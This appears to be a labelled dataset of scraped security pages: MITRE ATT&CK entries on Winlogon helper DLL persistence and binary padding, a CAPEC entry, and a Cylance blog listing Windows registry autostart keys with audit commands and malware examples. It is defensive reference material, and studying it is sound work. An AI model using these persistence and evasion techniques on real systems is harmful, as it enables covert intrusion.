user logs on Winlogon\\Shell - points to explorer.exe, the system shell executed when a user logs on Adversaries may take advantage of these features to repeatedly execute malicious code and establish Persistence. ID:\xc2 T1004 Tactic: Persistence Platform:\xc2 Windows Permissions Required:\xc2 Administrator, SYSTEM Data Sources:\xc2 Windows Registry, File monitoring, Process monitoring CAPEC ID: CAPEC-579 Contributors:\xc2 Praetorian Version:\xc2 1.0 Mitigations Mitigation Description Execution Prevention Identify and block potentially malicious software that may be executed through the Winlogon helper process by using whitelisting tools like AppLocker that are capable of auditing and/or blocking unknown DLLs. [2] [3] [4] User Account Management Limit the privileges of user accounts so that only authorized administrators can perform Winlogon helper changes. Examples Name Description Cannon Cannon adds the Registry key HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon to establish persistence. [7] Dipsind A Dipsind variant registers as a Winlogon Event Notify DLL to establish persistence. [5] Gazer Gazer can establish persistence by setting the value \xe2\x80\x9cShell\xe2\x80\x9d with \xe2\x80\x9cexplorer.exe, %malware_pathfile%\xe2\x80\x9d under the Registry key HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon. [6] KeyBoy KeyBoy issues the command reg add \xe2\x80\x9cHKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\xe2\x80\x9d to achieve persistence. [9] [10] Remexi Remexi achieves persistence using Userinit by adding the Registry key HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit. [8] Tropic Trooper Tropic Trooper creates the Registry key HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell and sets the value to establish persistence. [12] Turla Turla established persistence by adding a Shell value under the Registry key HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion]Winlogon. [11] Detection Monitor for changes to Registry entries associated with Winlogon that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. [13] New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious. Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. References Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018. Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014. Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016. NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016. Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018. ESET. (2017, August). Gazing at Gazer: Turla\xe2\x80\x99s new second stage backdoor. Retrieved September 14, 2017. Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \xe2\x80\x98Cannon\xe2\x80\x99 Trojan. Retrieved November 26, 2018. Legezo, D. (2019, January 30). Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities. Retrieved April 17, 2019. Parys, B. (2017, February 11). The KeyBoys are back in town. Retrieved June 13, 2019. Hulcoop, A., et al. (2016, November 17). It\xe2\x80\x99s Parliamentary KeyBoy and the targeting of the Tibetan Community. Retrieved June 13, 2019. ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018. Ray, V. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved November 9, 2018. Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. Copyright \xc2\xa9 2015-2019, The MITRE Corporation. MITRE ATT&CK and ATT&CK are trademarks of The MITRE Corporation. Privacy Policy Terms of Use @MITREattack Contact","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"CAPEC - CAPEC-579: Replace Winlogon Helper DLL (Version 3.1) Common Attack Pattern Enumeration and Classification A Community Resource for Identifying and Understanding Attacks Home > CAPEC List > CAPEC-579: Replace Winlogon Helper DLL (Version 3.1) \xc2 ID Lookup: Home About Overview Documents Use Cases Resources Glossary FAQs CAPEC List Latest Version Downloads Reports Archive Community Community Citations Vendor Usage Discussion List Related Activities News Current News Free Newsletter CAPEC on Twitter CAPEC on News Archive Search CAPEC-579: Replace Winlogon Helper DLL Attack Pattern ID: 579 Abstraction: Detailed Status: Draft Presentation Filter: Basic Complete Description Winlogon is a part of Windows that performs logon actions. In Windows systems prior to Windows Vista, a registry key can be modified that causes Winlogon to load a DLL on startup. Adversaries may take advantage of this feature to load adversarial code at startup. Relationships The table(s) below shows the other attack patterns and high level categories that are related to this attack pattern. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as CanFollow, PeerOf, and CanAlsoBe are defined to show similar attack patterns that the user may want to explore. Nature Type ID Name ChildOf Standard Attack Pattern - A standard level attack pattern in CAPEC is focused on a specific methodology or technique used in an attack. It is often seen as a singular piece of a fully executed attack. A standard attack pattern is meant to provide sufficient details to understand the specific technique and how it attempts to accomplish a desired goal. A standard level attack pattern is a specific type of a more abstract meta level attack pattern. 542 Targeted Malware Mitigations Changes to registry entries in ""HKLM\\Software\\Microsoft\\Windows NT\\Winlogon\\Notify"" that do not correlate with known software, patch cycles, etc are suspicious. New DLLs written to System32 which do not correlate with known good software or patching may be suspicious. Taxonomy Mappings Relevant to the ATT&CK taxonomy mapping Entry ID Entry Name 1004 Winlogon helper DLL Content History Submissions Submission Date Submitter Organization 2015-11-09 CAPEC Content Team The MITRE Corporation More information is available \xe2\x80\x94 Please select a different filter. Page Last Updated or Reviewed: July 31, 2018 \xc2 Use of the Common Attack Pattern Enumeration and Classification dictionary and classification taxonomy, and the associated references from this website, are subject to the Terms of Use. For more information, please email capec@mitre.org. CAPEC is sponsored by the U.S. Department of Homeland Security (DHS) Cybersecurity and Infrastructure Security Agency (CISA). Copyright \xc2\xa9 2007 - 2019, The MITRE Corporation. CAPEC and the CAPEC logo are trademarks of The MITRE Corporation. Privacy policy Terms of use Site Map Contact us \xc2","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Windows Registry Persistence, Part 2: The Run Keys and Search-Order We use cookies to provide you a relevant user experience, analyze our traffic, and provide social media features. Read More Got it Menu Research & Intel Videos Webcasts Podcasts News Resources | Cylance.com Windows Registry Persistence, Part 2: The Run Keys and Search-Order ThreatVector > Spotlight Share It: \xc2 by Scott Langendorf | September 24, 2013 ""It is only prudent never to place complete confidence in that by which we have even once been deceived."" \xe2\x80\x95 Ren\xc3\xa9 Descartes Another method of persistence that has been around for a very long time is the use of what are collectively known as the ""run keys"" in the Windows registry. As stated in\xc2 Part 1\xc2 of this blog series, the most common method up until this year has been the use of hosted services configured in the registry. The intention of this article is to present a list of registry keys that are used to persist services or applications in the order they are loaded by the operating system and then discuss some important ones. Registry Keys to Launch Persistent Services or Applications (in Load Order) The registry is accessed even before the NT kernel is loaded, so it is very important to understand what the computer is configured to load at startup. The following list of registry keys are accessed during system start in order of their use by the different windows components: 1) HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\BootExecute 2) HKLM\\System\\CurrentControlSet\\Services (start value of 0 indicates kernel drivers, which load before kernel initiation) 3) HKLM\\System\\CurrentControlSet\\Services (start value of 2, auto-start and 3, manual start via SCM) 4) HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce 5) HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce 6) HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices 7) HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices 8) HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify 9) HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit 10) HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\\Shell 11) HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\\Shell 12) HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\ShellServiceObjectDelayLoad 13) HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce 14) HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx 15) HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run 16) HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run 17) HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce 18) HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run 19) HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run 20) HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\load 21) HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows 22) HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\SharedTaskScheduler (XP, NT, W2k only) 23) HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\\\AppInit_DLLs Note: Some of these keys are also reflected under\xc2 HKLM\\Software\\wow6432node\xc2 on systems running on a 64bit architecture and with a 64bit version of Windows. I won\xe2\x80\x99t be covering each of these in this post. Before getting started, Microsoft has a great utility available to inspect all (and more) of these registry keys. The utility, called Autoruns, is freely available here. (live.sysinternals.com). Figure 1: Sysinternals Autoruns Utility Compromise Assessment As I discuss each registry location, I will occasionally demonstrate native windows commands that can be scripted to gather information related to these registry persistence locations. We do this at Cylance as part of our compromise assessment collection script. Our assessment is designed to be very low impact on the thousands of computers in your enterprise on which it runs. It is also designed to run on a regular basis (perhaps quarterly) as a means of quickly identifying abnormal behavior. We take this data and analyze it in SQL and Excel which gives us the ability to identify the ""low frequency"" outliers. For example, below we see the DLLs loaded by svchost.exe, the shared service host. We routinely see unusual DLLs that are part of a targeted attack and that endpoint AV is completely blind to. Other tools that rely on ""known indicators"" will miss them too. We do this same process for files, network IPs, prefetch files, services, scheduled tasks, etc. We look for the ""few"" by leveraging the ""many"". BootExecute Key (1) As a Windows computer powers up, the Session Manager (smss.exe) starts as the first user-mode process. Since it loads before the Windows Subsystem has loaded, it can't use standard Windows API functions and uses native API calls instead. It calls the configuration manager subsystem to load the hives listed in the following registry key:\xc2 HKLM\\SYSTEM\\CurrentControlSet\\Control\\hivelist As far as locations in the registry where malicious processes or modules can be configured to launch from, the BootExecute key is the earliest. Smss.exe will load any programs it finds listed here. By default the only entry in this string array is\xc2 autocheck autochk *\xc2 which runs Autochk during boot. If instead you see an entry such as the following in your BootExecute key, there are problems. The oddly named file will be sitting in your system32 folder, unless it has been removed by AV. You might see this presented this way in various online malware sandbox analyzers: If you decode the HEX string to text, it becomes\xc2 autocheck autochk * aHdqEPamx\xc2 which causes the malicious program to launch during startup. Search the web for other samples of this technique by using this as your search term:\xc2 site:threatexpert.com bootexecute As an Incident Responder I collect the output from Autoruns (Figure 1) from Microsoft Sysinternals (live.sysinternals.com), which can be used to view all of the registry keys being covered in this blog and is an awesome way to audit registry settings. I use this utility from the command line on machines where some behavioral or configuration anomaly has been observed. This technique is true for all registry settings covered in this article so I'll just use this first one as an example. Services Keys (2 and 3) The first process to launch during startup is winload.exe and this process reads the system registry hive to determine what drivers need to be loaded. Every device driver has a registry subkey underHKLM\\SYSTEM\\CurrentControlSet\\Services. Winload.exe is the process that shows the progress bar under the ""Starting Windows\xe2\x80\xa6"" you see during startup. Use the following command (as Administrator) to view the drivers configured to load during startup: reg query hklm\\system\\currentcontrolset\\services /s | findstr ImagePath 2>nul | findstr /Ri "".*\\.sys$"" Review of the entries under this subkey for any drivers running out of a user profile location or a temp directory. For example: C:\\WINDOWS\\TEMP\\INSTB64.SYS C:\\Users\\USERNA~1\\AppData\\Local\\Temp\\cpuz135\\cpuz135_x64.sys C:\\Windows\\TEMP\\009947~1.EXE sername\\AppData\\Local\\Temp\\ALSysIO64.sys During our compromise health assessments, we gather all of these registry locations into a database and with SQL are able to inspect the entire enterprise for unusual driver locations in the same manner as shown above. We gather these ImagePath locations into Excel and look at the outliers \xe2\x80\x93 those systems where only one or a few machines have drivers running from odd locations. By using the power of collective comparison, the anomalous registry settings can be quickly identified because they don't occur with high frequency like the normal settings do and therefore stand out. Even if a company deploys in-house developed code, we can determine that is the case by looking at the frequency of occurrence. In this way we are able to discover rootkits (because a rootkit hides itself by lying to the OS during DIR and TASKLIST commands but not from REG QUERY) and other tools configured to load as system drivers very early in the boot sequence. We then gather additional data in order to get a more complete picture of the purpose for these drivers. Run Services Keys (4 through 7) These keys are referenced both early in the boot process to identify driver files (typically *.sys) that are to be loaded and later by the service controller (SC.EXE) when starting those services that are configured as services (daemons). I will discuss the use of these keys in more depth below. Winlogon Keys (8 through 11) Winlogon.exe is another user-mode executable that is loaded very early during startup by wininit.exe and handles interactive user logons and logoffs. This process handles the Secure Attention Sequence (SAS) known to us all as Ctrl-Alt-Delete which is designed to protect against password-capture user-mode applications since the SAS can only be processed by the kernel, which notifies winlogon.exe. Winlogon\\notify The notify subkeys are used to configure event handlers that are to be notified whenever certain events happen, related to SAS. Events are things like logon, logoff, shutdown, lock, etc. This can be used maliciously to launch a DLL whenever the event occurs. serinit The Userinit string array (REG_SZ) contains by default just\xc2 serinit.exe\xc2 but can have other entries as well and should be monitored. Administrator-level rights are needed to modify this key. An example of how this could be used to launch malicious code. The second entry is part of a password stealing Trojan. serinit.exe,C:\\WINDOWS\\system32\\sovhst.exe Winlogon\\Shell This should be set to ""explorer.exe"" since that is the Windows interface we all know and use. The value should be just the name, spelled correctly. Since no path is given, the process launches from the windows storage location, the \\Windows directory. There should not be a path listed, just the name. There is a configuration for this in the machine hive and the user hive (HKLM and HKCU) and another entry determines which is to be used. Check\xc2 HKLM\\ \\Software\\Microsoft\\Windows NT\\CurrentVersion\\IniFileMapping\\system.ini\\boot\\Shell. The value by default is pointing to the machine hive value\xc2 SYS:Microsoft\\Windows NT\\CurrentVersion\\Winlogon\xc2 and the user hive value isn't used. ShellServiceObjectDelayLoad (12) This key is undocumented and there it cannot be said with certainty the support and behavior of the use of this key since it could change at any time. On my Windows 7 Ultimate laptop, this key has a single subkey called ""WebCheck"" and a GUID of {E6FB5E20-DE35-11CF-9C87-00AA005127ED} but there is no dll configured under the CLSID key. Run Keys (13 through 19) The run keys have been the method typically used by run-of-the-mill viruses and worms and not tools used in targeted attacks. Because the attack team is located some distance away on the internet, they need to ensure that their code will launch again if the computer they compromise gets rebooted. The run keys are the easiest way to do this and offer different levels of privilege depending on their exploit and what level it achieves for them. If their exploit fails to obtain NT AUTHORITY\\SYSTEM or administrator-level rights they can always create a key under the ""user"" run keys and persist their access. From there they can work on elevating privilege levels and move to create less obvious persistence hooks and then clean up the run keys because they are heavily scrutinized and monitored by all sorts of host-based controls. Attackers are also concerned about taking risks and moving from run keys as soon as possible is one way of lowering their risk profile. However, with the proliferation of botnet and noisy commodity malware providing cover (like chaff on a RADAR screen), the use of these keys can be tolerated in some environments for some time (perhaps permanently) and provides the following objectives: Obtain and maintain some level of remote access Reconnaissance from a single machine (What rights does this user have? What other accounts are on this machine? What software is installed that I have the ability to exploit?) Work to elevate to a machine service and remove the run keys Continue reconnaissance and look to move laterally with the goal of getting: Windows Domain Controller access; locate network file shares and who has access to them; obtain specialty credentials (database, code repositories, web application logins, etc.); obtain the ability to utilize the same remote-access infrastructure that is provided to employees. If, as the attacker, my phish is launched by Norman on his laptop and his account, nsmith, is not in the Administrators local group, then I have to persist by using the HKCU run key or adding my tool toC:\\Users\\nsmith\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startupdirectory because this is the only place nsmith has rights to create entries. After doing this I will inventory installed and running software in order to find some software that I can exploit (assuming Windows 7+ as the OS). Detecting recent activity in the HKCU run keys is indicative of Stage 1 dropper/downloaders or Stage 2 efforts to harvest other access points inside the enterprise. Close inspection of the targeted computer for signs of activity can yield a wealth of information that then leads you down the path of your investigation and removing the attacker's access to your computers and intellectual property. Persistence Location Privilege Level HKCU run keys useraccount: FC HKLM run keys Users:R, Administrators: FC Legacy Windows Load (20 and 21) When Microsoft transitioned from 3.x to NT, they added this key to replace the win.ini file load= and run= values. On Windows 7 this key doesn't exist by default under either the ""machine"" (HKLM) or the ""user"" (HKCU) hives but if present can be used to launch programs during startup. The ""machine"" key launches at computer startup and the ""user"" key runs at user login. AppInit_DLLs (23) Even though I'm listing this as number 23, every time User32.dll is linked (loaded by an executable), this registry string array is read and any modules listed are also loaded by the executable. This happens at various times while windows is starting up so I can't really place it where it first occurs. As you can guess, this is a great way to hoist code into a great number of running processes. It is worth keeping an eye on this registry location as well. AppInit gets its own tab in Autoruns, but you can script the following to read just the string array from your systems: reg query ""HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows"" /v appinit_dlls Active Registry It's worth mentioning that CurrentControlSet is just a symbolic link to indicate the hive that is active, meaning it is in-use by the running OS. Almost all the time this will be ControlSet001, but you can see which is active by looking at the ""Current"" value under\xc2 HKLM\\System\\Select. The number indicates which ControlSet is loaded, where the number corresponds to the two ControlSets. It is always good to also pay attention to the ""previously run"" version of the registry, which is usually ControlSet002, since transient entries could still be present there. For example, if a dropper set itself to run at startup, then once a different persistence is achieved, it removes itself, that old persistence entry could still be present in the LastKnownGood registry. Next Time There are of course other methods of persistence with certain file and file system locations being the major ones. I'll cover those in part 3. Until then, keep 'er safe! \xc2 Share It: Threat Research About The Author Scott Langendorf Scott Langendorf is a previous\xc2 contributor for Cylance\xc2\xae,\xc2 who are revolutionizing cybersecurity with products and services that proactively prevent,\xc2 rather than reactively detect the execution of advanced persistent threats and malware. Our technology is deployed on over ten million endpoints and protects hundreds of enterprise clients worldwide including Fortune 100 organizations and government institutions. Author's Bio Get the ThreatVector Newsletter 400 Spectrum Center Dr., Suite #900 Irvine, CA 92618 1-844-CYLANCE 1-844-295-2623 \xc2\xa92019 Cylance Inc. All Rights Reserved. Blog Home News Bites Videos Resources Cylance News Webcasts Podcasts Contributors Company Who We Are Resource Center Cylance News Press Releases Privacy Notice Terms of Service Products CylancePROTECT CylanceOPTICS Cylance ThreatZERO Cylance Smart Antivirus Services Consulting Overview Industry Overview","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Binary Padding - Enterprise | MITRE ATT&CK\xe2\x84\xa2 Matrices Tactics PRE-ATT&CK Enterprise Mobile Techniques PRE-ATT&CK Enterprise Mobile Mitigations Enterprise Mobile Groups Software Resources General Information Getting Started ATT&CKcon Working with ATT&CK FAQ Updates Previous Versions Related Projects Blog\xc2 Contribute Register to stream ATT&CKcon 2.0 October 29-30 ENTERPRISE ENTERPRISE MOBILE PRE-ATT&CK TECHNIQUES All Initial Access Drive-by Compromise Exploit Public-Facing Application External Remote Services Hardware Additions Replication Through Removable Media Spearphishing Attachment Spearphishing Link Spearphishing via Service Supply Chain Compromise Trusted Relationship Valid Accounts Execution AppleScript CMSTP Command-Line Interface Compiled HTML File Control Panel Items Dynamic Data Exchange Execution through API Execution through Module Load Exploitation for Client Execution Graphical User Interface InstallUtil Launchctl Local Job Scheduling LSASS Driver Mshta PowerShell Regsvcs/Regasm Regsvr32 Rundll32 Scheduled Task Scripting Service Execution Signed Binary Proxy Execution Signed Script Proxy Execution Source Space after Filename Third-party Software Trap Trusted Developer Utilities User Execution Windows Management Instrumentation Windows Remote Management XSL Script Processing Persistence .bash_profile and .bashrc Accessibility Features Account Manipulation AppCert DLLs AppInit DLLs Application Shimming Authentication Package BITS Jobs Bootkit Browser Extensions Change Default File Association Component Firmware Component Object Model Hijacking Create Account DLL Search Order Hijacking Dylib Hijacking External Remote Services File System Permissions Weakness Hidden Files and Directories Hooking Hypervisor Image File Execution Options Injection Kernel Modules and Extensions Launch Agent Launch Daemon Launchctl LC_LOAD_DYLIB Addition Local Job Scheduling Login Item Logon Scripts LSASS Driver Modify Existing Service Netsh Helper DLL New Service Office Application Startup Path Interception Plist Modification Port Knocking Port Monitors Rc.common Re-opened Applications Redundant Access Registry Run Keys / Startup Folder Scheduled Task Screensaver Security Support Provider Service Registry Permissions Weakness Setuid and Setgid Shortcut Modification SIP and Trust Provider Hijacking Startup Items System Firmware Systemd Service Time Providers Trap Valid Accounts Web Shell Windows Management Instrumentation Event Subscription Winlogon Helper DLL Privilege Escalation Access Token Manipulation Accessibility Features AppCert DLLs AppInit DLLs Application Shimming Bypass User Account Control DLL Search Order Hijacking Dylib Hijacking Exploitation for Privilege Escalation Extra Window Memory Injection File System Permissions Weakness Hooking Image File Execution Options Injection Launch Daemon New Service Path Interception Plist Modification Port Monitors Process Injection Scheduled Task Service Registry Permissions Weakness Setuid and Setgid SID-History Injection Startup Items Sudo Sudo Caching Valid Accounts Web Shell Defense Evasion Access Token Manipulation Binary Padding BITS Jobs Bypass User Account Control Clear Command History CMSTP Code Signing Compile After Delivery Compiled HTML File Component Firmware Component Object Model Hijacking Control Panel Items DCShadow Deobfuscate/Decode Files or Information Disabling Security Tools DLL Search Order Hijacking DLL Side-Loading Execution Guardrails Exploitation for Defense Evasion Extra Window Memory Injection File Deletion File Permissions Modification File System Logical Offsets Gatekeeper Bypass Group Policy Modification Hidden Files and Directories Hidden Users Hidden Window HISTCONTROL Image File Execution Options Injection Indicator Blocking Indicator Removal from Tools Indicator Removal on Host Indirect Command Execution Install Root Certificate InstallUtil Launchctl LC_MAIN Hijacking Masquerading Modify Registry Mshta Network Share Connection Removal NTFS File Attributes Obfuscated Files or Information Plist Modification Port Knocking Process Doppelg\xc3\xa4nging Process Hollowing Process Injection Redundant Access Regsvcs/Regasm Regsvr32 Rootkit Rundll32 Scripting Signed Binary Proxy Execution Signed Script Proxy Execution SIP and Trust Provider Hijacking Software Packing Space after Filename Template Injection Timestomp Trusted Developer Utilities Valid Accounts Virtualization/Sandbox Evasion Web Service XSL Script Processing Credential Access Account Manipulation Bash History Brute Force Credential Dumping Credentials in Files Credentials in Registry Exploitation for Credential Access Forced Authentication Hooking Input Capture Input Prompt Kerberoasting Keychain LLMNR/NBT-NS Poisoning and Relay Network Sniffing Password Filter DLL Private Keys Securityd Memory Two-Factor Authentication Interception Discovery Account Discovery Application Window Discovery Browser Bookmark Discovery Domain Trust Discovery File and Directory Discovery Network Service Scanning Network Share Discovery Network Sniffing Password Policy Discovery Peripheral Device Discovery Permission Groups Discovery Process Discovery Query Registry Remote System Discovery Security Software Discovery System Information Discovery System Network Configuration Discovery System Network Connections Discovery System Owner/User Discovery System Service Discovery System Time Discovery Virtualization/Sandbox Evasion Lateral Movement AppleScript Application Deployment Software Distributed Component Object Model Exploitation of Remote Services Logon Scripts Pass the Hash Pass the Ticket Remote Desktop Protocol Remote File Copy Remote Services Replication Through Removable Media Shared Webroot SSH Hijacking Taint Shared Content Third-party Software Windows Admin Shares Windows Remote Management Collection Audio Capture Automated Collection Clipboard Data Data from Information Repositories Data from Local System Data from Network Shared Drive Data from Removable Media Data Staged Email Collection Input Capture Man in the Browser Screen Capture Video Capture Command and Control Commonly Used Port Communication Through Removable Media Connection Proxy Custom Command and Control Protocol Custom Cryptographic Protocol Data Encoding Data Obfuscation Domain Fronting Domain Generation Algorithms Fallback Channels Multi-hop Proxy Multi-Stage Channels Multiband Communication Multilayer Encryption Port Knocking Remote Access Tools Remote File Copy Standard Application Layer Protocol Standard Cryptographic Protocol Standard Non-Application Layer Protocol Uncommonly Used Port Web Service Exfiltration Automated Exfiltration Data Compressed Data Encrypted Data Transfer Size Limits Exfiltration Over Alternative Protocol Exfiltration Over Command and Control Channel Exfiltration Over Other Network Medium Exfiltration Over Physical Medium Scheduled Transfer Impact Data Destruction Data Encrypted for Impact Defacement Disk Content Wipe Disk Structure Wipe Endpoint Denial of Service Firmware Corruption Inhibit System Recovery Network Denial of Service Resource Hijacking Runtime Data Manipulation Service Stop Stored Data Manipulation Transmitted Data Manipulation Home Techniques Enterprise Binary Padding Binary Padding Some security tools inspect files with static signatures to determine if they are known malicious. Adversaries may add data to files to increase the size beyond what security tools are capable of handling or to change the file hash to avoid hash-based blacklists. ID:\xc2 T1009 Tactic: Defense Evasion Platform:\xc2 Linux, macOS, Windows Data Sources:\xc2 Binary file metadata, File monitoring, Malware reverse engineering Defense Bypassed:\xc2 Signature-based detection, Anti-virus CAPEC ID: CAPEC-572 Version:\xc2 1.0 Mitigations This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features. Examples Name Description APT32 APT32 includes garbage code to mislead anti-malware software and researchers. [11] [12] BRONZE BUTLER BRONZE BUTLER downloader code has included ""0"" characters at the end of the file to inflate the file size in a likely attempt to evade anti-virus detection. [16] Comnie Comnie appends a total of 64MB of garbage data to a file to deter any security products in place that may be scanning files on disk. [8] CORESHELL CORESHELL contains unused machine instructions in a likely attempt to hinder analysis. [7] Emissary A variant of Emissary appends junk data to the end of its DLL file to create a large file that may exceed the maximum size that anti-virus programs can scan. [2] FinFisher FinFisher contains junk code in its functions in an effort to confuse disassembly programs. [5] [6] Kwampirs Before writing to disk, Kwampirs inserts a randomly generated string into the middle of the decrypted payload in an attempt to evade hash-based detections. [3] Leviathan Leviathan has inserted garbage characters into code, presumably to avoid anti-virus detection. [15] Moafee Moafee has been known to employ binary padding. [14] Patchwork Patchwork apparently altered NDiskMonitor samples by adding four bytes of random letters in a likely attempt to change the file hashes. [13] SamSam SamSam has used garbage code to pad some of its malware components. [10] XTunnel A version of XTunnel introduced in July 2015 inserted junk code into the binary in a likely attempt to obfuscate it and bypass security products. [4] yty yty contains junk code in its binary, likely to confuse malware analysts. [1] ZeroT ZeroT has obfuscated DLLs and functions using dummy API calls inserted between real instructions. [9] Detection Depending on the method used to pad files, a file-based signature may be capable of detecting padding using a scanning or on-access based tool. When executed, the resulting process from padded files may also exhibit other behavior characteristics of being used to conduct an intrusion such as system and network information Discovery or Lateral Movement, which could be used as event indicators that point to the source file. References Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018. Falcone, R. and Miller-Osborn, J.. (2016, February 3). Emissary Trojan Changelog: Did Operation Lotus Blossom Cause It to Evolve?. Retrieved February 15, 2016. Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018. ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016. FinFisher. (n.d.). Retrieved December 20, 2017. Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher\xe2\x80\x99s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018. FireEye. (2015). APT28: A WINDOW INTO RUSSIA\xe2\x80\x99S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015. Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018. Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018. Palotay, D. and Mackenzie, P. (2018, April). SamSam Ransomware Chooses Its Targets Carefully. Retrieved 